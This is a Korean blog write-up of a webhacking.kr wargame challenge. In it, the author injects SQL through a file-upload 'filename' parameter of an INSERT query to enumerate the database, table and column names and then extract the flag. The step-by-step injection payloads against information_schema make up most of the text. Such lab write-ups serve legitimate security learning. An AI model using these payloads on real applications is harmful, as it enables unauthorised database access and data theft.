문제
flag는 다른 테이블에 있다.
문제풀이
테스트로 파일 하나를 올리면 아래와 같이 화면에 나타나며, 파일에 접근은 불가하다.
burp suite로 잡아보면 filename 파라미터가 전송되는 것을 알 수 있다.
ip와 time은 자동으로 설정된다.
filename 파라미터를 조작하여 sql injection을 시도할 수 있다.
아래처럼 파라미터 조작해서 전송하면 변조된 값들이 화면에 보인다.
time이 변조되어 전송되었다.
filename="filename,1,'115.92.150.222')#"
화면에 나타나는 것과 다르게 ip주소는 세번째에 입력되어야 한다.
그리고 IP주소가 정확해야 전송된다.
sql 쿼리에 맞지 않거나 IP주소가 틀리거나 삽입되는 컬럼 순서가 다르면 upload error! 가 출력된다.
데이터베이스
filename=”filename’,time,’IP주소’), ((select database()), 1, ‘IP주소’)#”
-> chall29
테이블
filename=”filename’,time,’IP주소’), ((select group_concat(table_name) from information_schema.tables where table_schema=’chall29’), 1, ‘IP주소’)#”
-> flag_congratz
컬럼
filename=”filename’,time,’IP주소’), ((select group_concat(column_name) from information_schema.columns where table_name=’flag_congratz’), 1, ‘IP주소’)#”
-> flag
FLAG
filename=”filename’,time,’IP주소’), ((select flag from flag_congratz), 1, ‘IP주소’)#”
* group_concat
특정 컬럼의 각 결과값을 하나의 가로열로 표시한다.
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] CHILD (0) | 2023.11.03 |
---|---|
[Webhacking.kr] old-30 (X) (0) | 2023.11.02 |
[Webhacking.kr] old-28 (0) | 2023.11.02 |
[Webhacking.kr] old-27 (0) | 2023.11.02 |
[Webhacking.kr] old-22 (0) | 2023.11.02 |